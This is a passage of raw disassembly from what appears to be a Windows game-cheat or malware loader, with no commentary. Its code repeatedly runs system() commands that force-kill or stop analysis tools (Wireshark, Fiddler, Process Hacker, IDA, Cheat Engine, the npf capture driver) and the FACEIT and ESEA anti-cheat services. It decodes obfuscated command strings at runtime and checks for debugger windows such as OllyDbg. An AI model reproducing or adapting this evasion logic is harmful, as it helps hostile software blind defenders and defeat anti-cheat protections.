call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0xa38], xmm0
mov dword [rbp + 0xa48], 0xcc8e8480
mov dword [rbp + 0xa4c], 0x9c9a80d3
mov dword [rbp + 0xa50], 0xd2cdc0d1
mov word [rbp + 0xa54], Ordinal_200
mov byte [rbp + 0xa56], 1
lea rcx, [rbp + 0xa38]
call fcn.14005a840
lea rcx, [rbp + 0xa38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.HTTP_Debugger_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056779
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xfd8]
call fcn.14004ee80
mov rdx, rax
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x418], xmm0
mov dword [rbp + 0x428], 0x809e84d7
mov dword [rbp + 0x42c], 0xd6d1dccd
mov word [rbp + 0x430], Ordinal_200
mov byte [rbp + 0x432], 1
lea rcx, [rbp + 0x418]
call fcn.14005a930
lea rcx, [rbp + 0x418]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xff8], xmm0
mov dword [rbp + 0x1008], 0xde998f9f
mov dword [rbp + 0x100c], 0x8581d0cd
mov dword [rbp + 0x1010], 0xcac1d29d
mov dword [rbp + 0x1014], 0x100c7d3
lea rcx, [rbp + 0xff8]
call fcn.14005a900
lea rcx, [rbp + 0xff8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1df8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1e08], xmm1
mov word [rbp + 0x1e18], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1e1a], 1
lea rcx, [rbp + 0x1df8]
call fcn.14005a8d0
lea rcx, [rbp + 0x1df8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1e20], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1e30], xmm1
mov word [rbp + 0x1e40], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1e42], 1
lea rcx, [rbp + 0x1e20]
call fcn.14005a8d0
lea rcx, [rbp + 0x1e20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1e48], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1e58], xmm1
mov word [rbp + 0x1e68], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1e6a], 1
lea rcx, [rbp + 0x1e48]
call fcn.14005a8d0
lea rcx, [rbp + 0x1e48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1e70], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1e80], xmm1
mov word [rbp + 0x1e90], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1e92], 1
lea rcx, [rbp + 0x1e70]
call fcn.14005a8d0
lea rcx, [rbp + 0x1e70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x738], xmm0
mov dword [rbp + 0x748], 0x82d5ca82
mov dword [rbp + 0x74c], 0xc2cf8298
mov dword [rbp + 0x750], 0xc2d4cf
mov byte [rbp + 0x754], 1
lea rcx, [rbp + 0x738]
call fcn.14005a8a0
lea rcx, [rbp + 0x738]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x118], xmm0
mov dword [rbp + 0x128], 0xcad5d8c9
mov word [rbp + 0x12c], 0xdc
mov byte [rbp + 0x12e], 1
lea rcx, [rbp + 0x118]
call fcn.14005a870
lea rcx, [rbp + 0x118]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0xa58], xmm0
mov dword [rbp + 0xa68], 0xcc8e8480
mov dword [rbp + 0xa6c], 0x9c9a80d3
mov dword [rbp + 0xa70], 0xd2cdc0d1
mov word [rbp + 0xa74], Ordinal_200
mov byte [rbp + 0xa76], 1
lea rcx, [rbp + 0xa58]
call fcn.14005a840
lea rcx, [rbp + 0xa58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Process_Hacker
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056bce
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0x1018]
call fcn.14004ee80
mov rdx, rax
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x438], xmm0
mov dword [rbp + 0x448], 0x809e84d7
mov dword [rbp + 0x44c], 0xd6d1dccd
mov word [rbp + 0x450], Ordinal_200
mov byte [rbp + 0x452], 1
lea rcx, [rbp + 0x438]
call fcn.14005a930
lea rcx, [rbp + 0x438]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0x1038], xmm0
mov dword [rbp + 0x1048], 0xde998f9f
mov dword [rbp + 0x104c], 0x8581d0cd
mov dword [rbp + 0x1050], 0xcac1d29d
mov dword [rbp + 0x1054], 0x100c7d3
lea rcx, [rbp + 0x1038]
call fcn.14005a900
lea rcx, [rbp + 0x1038]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1e98], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1ea8], xmm1
mov word [rbp + 0x1eb8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1eba], 1
lea rcx, [rbp + 0x1e98]
call fcn.14005a8d0
lea rcx, [rbp + 0x1e98]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1ec0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1ed0], xmm1
mov word [rbp + 0x1ee0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1ee2], 1
lea rcx, [rbp + 0x1ec0]
call fcn.14005a8d0
lea rcx, [rbp + 0x1ec0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1ee8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1ef8], xmm1
mov word [rbp + 0x1f08], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1f0a], 1
lea rcx, [rbp + 0x1ee8]
call fcn.14005a8d0
lea rcx, [rbp + 0x1ee8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1f10], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1f20], xmm1
mov word [rbp + 0x1f30], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1f32], 1
lea rcx, [rbp + 0x1f10]
call fcn.14005a8d0
lea rcx, [rbp + 0x1f10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x82d5ca82
mov dword [rbp + 0x76c], 0xc2cf8298
mov dword [rbp + 0x770], 0xc2d4cf
mov byte [rbp + 0x774], 1
lea rcx, [rbp + 0x758]
call fcn.14005a8a0
lea rcx, [rbp + 0x758]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x140], 0xcad5d8c9
mov word [rbp + 0x144], 0xdc
mov byte [rbp + 0x146], 1
lea rcx, [rbp + 0x130]
call fcn.14005a870
lea rcx, [rbp + 0x130]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0xa78], xmm0
mov dword [rbp + 0xa88], 0xcc8e8480
mov dword [rbp + 0xa8c], 0x9c9a80d3
mov dword [rbp + 0xa90], 0xd2cdc0d1
mov word [rbp + 0xa94], Ordinal_200
mov byte [rbp + 0xa96], 1
lea rcx, [rbp + 0xa78]
call fcn.14005a840
lea rcx, [rbp + 0xa78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Process_Hacker_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140057023
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0x1058]
call fcn.14004ee80
mov rdx, rax
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x458], xmm0
mov dword [rbp + 0x468], 0x809e84d7
mov dword [rbp + 0x46c], 0xd6d1dccd
mov word [rbp + 0x470], Ordinal_200
mov byte [rbp + 0x472], 1
lea rcx, [rbp + 0x458]
call fcn.14005a930
lea rcx, [rbp + 0x458]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0x1078], xmm0
mov dword [rbp + 0x1088], 0xde998f9f
mov dword [rbp + 0x108c], 0x8581d0cd
mov dword [rbp + 0x1090], 0xcac1d29d
mov dword [rbp + 0x1094], 0x100c7d3
lea rcx, [rbp + 0x1078]
call fcn.14005a900
lea rcx, [rbp + 0x1078]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1f38], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1f48], xmm1
mov word [rbp + 0x1f58], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1f5a], 1
lea rcx, [rbp + 0x1f38]
call fcn.14005a8d0
lea rcx, [rbp + 0x1f38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1f60], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1f70], xmm1
mov word [rbp + 0x1f80], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1f82], 1
lea rcx, [rbp + 0x1f60]
call fcn.14005a8d0
lea rcx, [rbp + 0x1f60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1f88], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1f98], xmm1
mov word [rbp + 0x1fa8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1faa], 1
lea rcx, [rbp + 0x1f88]
call fcn.14005a8d0
lea rcx, [rbp + 0x1f88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1fb0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1fc0], xmm1
mov word [rbp + 0x1fd0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1fd2], 1
lea rcx, [rbp + 0x1fb0]
call fcn.14005a8d0
lea rcx, [rbp + 0x1fb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x778], xmm0
mov dword [rbp + 0x788], 0x82d5ca82
mov dword [rbp + 0x78c], 0xc2cf8298
mov dword [rbp + 0x790], 0xc2d4cf
mov byte [rbp + 0x794], 1
lea rcx, [rbp + 0x778]
call fcn.14005a8a0
lea rcx, [rbp + 0x778]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp + 0x148], xmm0
mov dword [rbp + 0x158], 0xcad5d8c9
mov word [rbp + 0x15c], 0xdc
mov byte [rbp + 0x15e], 1
lea rcx, [rbp + 0x148]
call fcn.14005a870
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0xa98], xmm0
mov dword [rbp + 0xaa8], 0xcc8e8480
mov dword [rbp + 0xaac], 0x9c9a80d3
mov dword [rbp + 0xab0], 0xd2cdc0d1
mov word [rbp + 0xab4], Ordinal_200
mov byte [rbp + 0xab6], 1
lea rcx, [rbp + 0xa98]
call fcn.14005a840
lea rcx, [rbp + 0xa98]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.OllyDbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140057478
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0x1098]
call fcn.14004ee80
mov rdx, rax
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
